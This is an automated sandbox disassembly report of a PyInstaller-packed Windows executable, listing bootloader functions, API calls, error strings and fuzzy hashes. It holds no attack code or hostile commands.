Function 00007FF78D2A58D0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF78D2A5915

Part of subcall function 00007FF78D2A5268: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2A527C

Part of subcall function 00007FF78D29A46C: RtlFreeHeap.NTDLL(?,?,?,00007FF78D2A28F2,?,?,?,00007FF78D2A292F,?,?,00000000,00007FF78D2A2DF5,?,?,00000000,00007FF78D2A2D27), ref: 00007FF78D29A482
Part of subcall function 00007FF78D29A46C: GetLastError.KERNEL32(?,?,?,00007FF78D2A28F2,?,?,?,00007FF78D2A292F,?,?,00000000,00007FF78D2A2DF5,?,?,00000000,00007FF78D2A2D27), ref: 00007FF78D29A48C

Part of subcall function 00007FF78D29A424: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF78D29A403,?,?,?,?,?,00007FF78D29272C), ref: 00007FF78D29A42D
Part of subcall function 00007FF78D29A424: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF78D29A403,?,?,?,?,?,00007FF78D29272C), ref: 00007FF78D29A452

_get_daylight.LIBCMT ref: 00007FF78D2A5904

Part of subcall function 00007FF78D2A52C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2A52DC

_get_daylight.LIBCMT ref: 00007FF78D2A5B7A
_get_daylight.LIBCMT ref: 00007FF78D2A5B8B
_get_daylight.LIBCMT ref: 00007FF78D2A5B9C
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF78D2A5DDC), ref: 00007FF78D2A5BC3

Strings

Eastern Summer Time, xrefs: 00007FF78D2A5C81
Eastern Standard Time, xrefs: 00007FF78D2A5C69

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 4070488512-239921721
Opcode ID: 9eb9b0d619ab6b7a7cb10b95815ca3ba37ce97d3ec593253fa252850bb6e8af8
Instruction ID: 18ef26e354b8bfd61c6e9968f592a5e2f028cf9ae578dee79f56d374fd3a08a5
Opcode Fuzzy Hash: 9eb9b0d619ab6b7a7cb10b95815ca3ba37ce97d3ec593253fa252850bb6e8af8
Instruction Fuzzy Hash: 84D1A126A0C25285E720FF2AD4815FAA762FF447A4FE44135DA0D47A86FE3CE849C760

Function 00007FF78D2A681C Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF78D2A6550: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2A6591
Part of subcall function 00007FF78D2A6550: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2A660F
Part of subcall function 00007FF78D2A6550: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2A6660

CreateFileW.KERNELBASE ref: 00007FF78D2A6922
CreateFileW.KERNEL32 ref: 00007FF78D2A6972
GetLastError.KERNEL32 ref: 00007FF78D2A69A2
GetFileType.KERNELBASE ref: 00007FF78D2A69B7
GetLastError.KERNEL32 ref: 00007FF78D2A69C1
CloseHandle.KERNEL32 ref: 00007FF78D2A69F4
CloseHandle.KERNEL32 ref: 00007FF78D2A6B57
CreateFileW.KERNEL32 ref: 00007FF78D2A6B8C
GetLastError.KERNEL32 ref: 00007FF78D2A6B9B

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 9426f1438121e6a1946c7f8951fbcc61e250451ac65260867a5a3e387e6c4ae9
Instruction ID: 2a0b142d52ad135cfc109814e6661cc3d8aa2c7c5cdc7347b7f2594d2d9c5bc7
Opcode Fuzzy Hash: 9426f1438121e6a1946c7f8951fbcc61e250451ac65260867a5a3e387e6c4ae9
Instruction Fuzzy Hash: 9EC1B032B2CE4285EB10EFA5C4806EC7765FB49BA8F614235DA2E57395EF38D45AC310

Function 00007FF78D287930 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000000,?,00000000,00000000,?,00007FF78D28153A), ref: 00007FF78D2879C7

Part of subcall function 00007FF78D287B40: GetEnvironmentVariableW.KERNEL32(00007FF78D2839CF), ref: 00007FF78D287B7A
Part of subcall function 00007FF78D287B40: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF78D287B97

Part of subcall function 00007FF78D29734C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78D297365

SetEnvironmentVariableW.KERNEL32 ref: 00007FF78D287A81

Part of subcall function 00007FF78D282AD0: MessageBoxW.USER32 ref: 00007FF78D282BA7

Strings

TMP, xrefs: 00007FF78D287990
_MEI%d, xrefs: 00007FF78D2879D5
LOADER: Failed to set the TMP environment variable., xrefs: 00007FF78D2879AA
TMP, xrefs: 00007FF78D28796A, 00007FF78D287A29, 00007FF78D287AB7

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
API String ID: 3752271684-1116378104
Opcode ID: 58e9e0e2df832a6bff53f1cbd7f28dfdecba271052056142e292f81f4fd35057
Instruction ID: b36b89ba62c272cacdb63a5b6180d069dfd67ed6a3b306cf87db8a2f4a1fbba7
Opcode Fuzzy Hash: 58e9e0e2df832a6bff53f1cbd7f28dfdecba271052056142e292f81f4fd35057
Instruction Fuzzy Hash: AD51A111B1C24355FA55B762A8256FAD242BF88BE0FE44431DD0E8B7D6FD2CE40AC620

Function 00007FF78D28A45D Relevance: 12.0, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

invalid distances set, xrefs: 00007FF78D28A950
invalid bit length repeat, xrefs: 00007FF78D28A849
invalid distance code, xrefs: 00007FF78D28AD64
too many length or distance symbols, xrefs: 00007FF78D28A5F6
invalid literal/length code, xrefs: 00007FF78D28AB92
invalid literal/lengths set, xrefs: 00007FF78D28A8E3
invalid code -- missing end-of-block, xrefs: 00007FF78D28A876
invalid distance too far back, xrefs: 00007FF78D28AE20
invalid code lengths set, xrefs: 00007FF78D28A5DD

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: d47eaa826a434661533d65b6609a2a530a46dfed3d30c23ed09b93245797016f
Instruction ID: 1c06282142a70632e345f7089009e1e9a2f94d68c9dc91870dfc66b7b4227a19
Opcode Fuzzy Hash: d47eaa826a434661533d65b6609a2a530a46dfed3d30c23ed09b93245797016f
Instruction Fuzzy Hash: A2521772A1C6A68BE7649F15C458BBD7BA9FB84340F554139EA4AC7780EF3CD848CB10

Function 00007FF78D2A5B4C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF78D2A5B7A

Part of subcall function 00007FF78D2A52C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2A52DC

_get_daylight.LIBCMT ref: 00007FF78D2A5B8B

Part of subcall function 00007FF78D2A5268: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2A527C

_get_daylight.LIBCMT ref: 00007FF78D2A5B9C

Part of subcall function 00007FF78D2A5298: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2A52AC

Part of subcall function 00007FF78D29A46C: RtlFreeHeap.NTDLL(?,?,?,00007FF78D2A28F2,?,?,?,00007FF78D2A292F,?,?,00000000,00007FF78D2A2DF5,?,?,00000000,00007FF78D2A2D27), ref: 00007FF78D29A482
Part of subcall function 00007FF78D29A46C: GetLastError.KERNEL32(?,?,?,00007FF78D2A28F2,?,?,?,00007FF78D2A292F,?,?,00000000,00007FF78D2A2DF5,?,?,00000000,00007FF78D2A2D27), ref: 00007FF78D29A48C

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF78D2A5DDC), ref: 00007FF78D2A5BC3

Strings

Eastern Summer Time, xrefs: 00007FF78D2A5C81
Eastern Standard Time, xrefs: 00007FF78D2A5C69

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: 21d5db37197b1776686490ca53b6023fc4f87a28fa4f3e0958a67c239eb1e35c
Instruction ID: b99ea54f02de247df27a92e9a65ffeca043797553e66952b897d30170070aced
Opcode Fuzzy Hash: 21d5db37197b1776686490ca53b6023fc4f87a28fa4f3e0958a67c239eb1e35c
Instruction Fuzzy Hash: 90518232A0C65286E710FF26D8815EAE761FF487A4FE44135DA4D87A95EF3CE448C760

Function 00007FF78D289C2B Relevance: 4.1, Strings: 3, Instructions: 397COMMON

Download Yara Rule

Strings

, xrefs: 00007FF78D289D0B
header crc mismatch, xrefs: 00007FF78D28A0D1
unknown header flags set, xrefs: 00007FF78D289C75

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: 1ef9903097d110b8ecaac1e033840455681df0dd09d01b2c0cf247e218e32422
Instruction ID: aaf58b8bf6d34ec9c937ca97b681ee2cfcc3e83e87cc66222fd8726f959cd2b3
Opcode Fuzzy Hash: 1ef9903097d110b8ecaac1e033840455681df0dd09d01b2c0cf247e218e32422
Instruction Fuzzy Hash: F8F1D272A0C3C54AE7A5AF15C088BBABAA9FF44740F654538EE4987790EF38E548C750

Function 00007FF78D289A8B Relevance: 2.7, Strings: 2, Instructions: 218COMMON

Download Yara Rule

Strings

invalid window size, xrefs: 00007FF78D289BF9
incorrect header check, xrefs: 00007FF78D289C12

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: c50a58b1088c2f3d02468f3dabb326302d9bcb6edf63c85cd08b1b17231f6702
Instruction ID: 65eac5638a0e3c4ea20f2887ab16a56c49f508cdf3118ee8a6cb2c541ed06352
Opcode Fuzzy Hash: c50a58b1088c2f3d02468f3dabb326302d9bcb6edf63c85cd08b1b17231f6702
Instruction Fuzzy Hash: FE91D972A1C2C687E7A4AF15D488BBE7AA9FB44350F614139DA4A877D0EF38E544CB10

Function 00007FF78D281710 Relevance: 24.6, APIs: 1, Strings: 13, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF78D2817D9
malloc, xrefs: 00007FF78D28186E
Failed to create symbolic link %s!, xrefs: 00007FF78D281753
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF78D281807
Failed to extract %s: failed to open target file!, xrefs: 00007FF78D281790
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF78D2818E5
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF78D281867
fread, xrefs: 00007FF78D2818FC
fopen, xrefs: 00007FF78D281797
fwrite, xrefs: 00007FF78D2818EC
pyi_arch_extract2fs was called before temporary directory was initialized!, xrefs: 00007FF78D281726
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF78D2818F5
fseek, xrefs: 00007FF78D28180E

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Message
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc$pyi_arch_extract2fs was called before temporary directory was initialized!
API String ID: 2030045667-3833288071
Opcode ID: 2896bd228e3bb9b9a37d501e6542e8d16076b3ed5722a90e304f155e2dd43164
Instruction ID: 7575472dbaa94a938b053f92fd8c760c559eda95c19907bb79b15f7e88fabffd
Opcode Fuzzy Hash: 2896bd228e3bb9b9a37d501e6542e8d16076b3ed5722a90e304f155e2dd43164
Instruction Fuzzy Hash: 1A519C61F1C64282EA11BB26E8501F9A391FF45BA4FE40135DE1D8B6D6FE2CE54DC720

Function 00007FF78D288930 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(0000000100000001,00007FF78D2840FC,00007FF78D2878F1,?,00007FF78D287D06,?,00007FF78D281785), ref: 00007FF78D288970
OpenProcessToken.ADVAPI32(?,00007FF78D287D06,?,00007FF78D281785), ref: 00007FF78D288983
GetTokenInformation.KERNELBASE(?,00007FF78D287D06,?,00007FF78D281785), ref: 00007FF78D2889A7
GetLastError.KERNEL32(?,00007FF78D287D06,?,00007FF78D281785), ref: 00007FF78D2889B1
GetTokenInformation.KERNELBASE(?,00007FF78D287D06,?,00007FF78D281785), ref: 00007FF78D2889EE
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF78D288A00
CloseHandle.KERNEL32(?,00007FF78D287D06,?,00007FF78D281785), ref: 00007FF78D288A18
LocalFree.KERNEL32(?,00007FF78D287D06,?,00007FF78D281785), ref: 00007FF78D288A4A
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00007FF78D288A72
CreateDirectoryW.KERNELBASE(?,00007FF78D287D06,?,00007FF78D281785), ref: 00007FF78D288A83

Strings

D:(A;;FA;;;%s), xrefs: 00007FF78D288A2D
S-1-3-4, xrefs: 00007FF78D288A23

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Token$ConvertDescriptorInformationProcessSecurityString$CloseCreateCurrentDirectoryErrorFreeHandleLastLocalOpen
String ID: D:(A;;FA;;;%s)$S-1-3-4
API String ID: 4998090-2855260032
Opcode ID: 72cbd7caca30bb4d1153af9fdf98aec8232cbf84df597e8533379df7ad158133
Instruction ID: aef34ae04482069981cd24c685d978699333e5f672cb9328541ae3007e341635
Opcode Fuzzy Hash: 72cbd7caca30bb4d1153af9fdf98aec8232cbf84df597e8533379df7ad158133
Instruction Fuzzy Hash: 3841513161C68682EB50AF51F4447EAE361FF857A4FA40235EA6E87AD5EF3CD448C720

Function 00007FF78D281A40 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF78D288290: _fread_nolock.LIBCMT ref: 00007FF78D28833A

_fread_nolock.LIBCMT ref: 00007FF78D281AF8

Part of subcall function 00007FF78D282830: MessageBoxW.USER32 ref: 00007FF78D28293D

Strings

Error on file., xrefs: 00007FF78D281BDA
malloc, xrefs: 00007FF78D281B81
Could not allocate buffer for TOC!, xrefs: 00007FF78D281B7A
Could not read full TOC!, xrefs: 00007FF78D281BAD
Failed to read cookie!, xrefs: 00007FF78D281B03
MEI, xrefs: 00007FF78D281A82
fread, xrefs: 00007FF78D281B0A, 00007FF78D281BB4
fseek, xrefs: 00007FF78D281AD5
Failed to seek to cookie position!, xrefs: 00007FF78D281ACE

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _fread_nolock$Message
String ID: Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
API String ID: 677216364-1384898525
Opcode ID: 485e1fdd9f1321e08638e3a487014c0daeaf334cf0212b697f911c8ed751647f
Instruction ID: 1f25edf6060a3f791c023a0d3f9a07887253df7d6a977ae3dd7d54f70284ab6f
Opcode Fuzzy Hash: 485e1fdd9f1321e08638e3a487014c0daeaf334cf0212b697f911c8ed751647f
Instruction Fuzzy Hash: 0A518C71B1D64286EB15EF25E5401B8B3A0FF48B94FA44136DA0DC779AEE3CE448C760

Function 00007FF78D288060 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 90
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF78D288AC0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF78D282A5B), ref: 00007FF78D288AFC

SetConsoleCtrlHandler.KERNEL32(00000000,00007FF78D283D02), ref: 00007FF78D2880AF
GetStartupInfoW.KERNEL32 ref: 00007FF78D2880CE

Part of subcall function 00007FF78D299F74: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78D299F88

Part of subcall function 00007FF78D297B90: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78D297BF7

GetCommandLineW.KERNEL32 ref: 00007FF78D288170
CreateProcessW.KERNELBASE ref: 00007FF78D2881B2
WaitForSingleObject.KERNEL32 ref: 00007FF78D2881C6
GetExitCodeProcess.KERNELBASE ref: 00007FF78D2881D6

Strings

CreateProcessW, xrefs: 00007FF78D2881E9
Error creating child process!, xrefs: 00007FF78D2881E2

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Error creating child process!
API String ID: 2895956056-3524285272
Opcode ID: e9ae3541e21c9f69ebfe72fcd9c629bf167960774171275800ee0eb63e7b424b
Instruction ID: 3d6476cb4f2378b587a0b0d89e94fd9b04462441ac3b5402c94401b89df8aeaf
Opcode Fuzzy Hash: e9ae3541e21c9f69ebfe72fcd9c629bf167960774171275800ee0eb63e7b424b
Instruction Fuzzy Hash: 8D412431A0C78691DA20AB25F4552EAE3A1FF95364FA00335E6AD47BD5EF7CD048CB10

Function 00007FF78D281000 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 264
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF78D283E70: GetModuleFileNameW.KERNEL32(?,00007FF78D28399A), ref: 00007FF78D283EA1

SetDllDirectoryW.KERNEL32 ref: 00007FF78D283B9B

Part of subcall function 00007FF78D287B40: GetEnvironmentVariableW.KERNEL32(00007FF78D2839CF), ref: 00007FF78D287B7A
Part of subcall function 00007FF78D287B40: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF78D287B97

Strings

_PYI_ONEDIR_MODE, xrefs: 00007FF78D2839E4, 00007FF78D283A0F
Cannot open PyInstaller archive from executable (%s) or external archive (%s), xrefs: 00007FF78D283A76
_MEIPASS2, xrefs: 00007FF78D2839BB, 00007FF78D283A24, 00007FF78D283CD2, 00007FF78D283CDE
Cannot side-load external archive %s (code %d)!, xrefs: 00007FF78D283B12
Failed to convert DLL search path!, xrefs: 00007FF78D283B83
MEI, xrefs: 00007FF78D283ACD

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Environment$DirectoryExpandFileModuleNameStringsVariable
String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
API String ID: 2344891160-3602715111
Opcode ID: 9d21f20c71c03d3ff1076acfe2d0ca44fcbb704526ecdc51de7a83d2e5b6e7ba
Instruction ID: 846da81bb010813a37f165d4997cde67f914daf64039899ce2296c56b8d1efd1
Opcode Fuzzy Hash: 9d21f20c71c03d3ff1076acfe2d0ca44fcbb704526ecdc51de7a83d2e5b6e7ba
Instruction Fuzzy Hash: 11B18C31A1C68291EA25BB21D4502FDE391BF48B84FE40135EA5EC7696FF2CE61DC760

Function 00007FF78D281050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF78D2810B6
malloc, xrefs: 00007FF78D2810FC, 00007FF78D28112A
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF78D28124E
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF78D2810F5
1.2.13, xrefs: 00007FF78D281089
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF78D281123

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
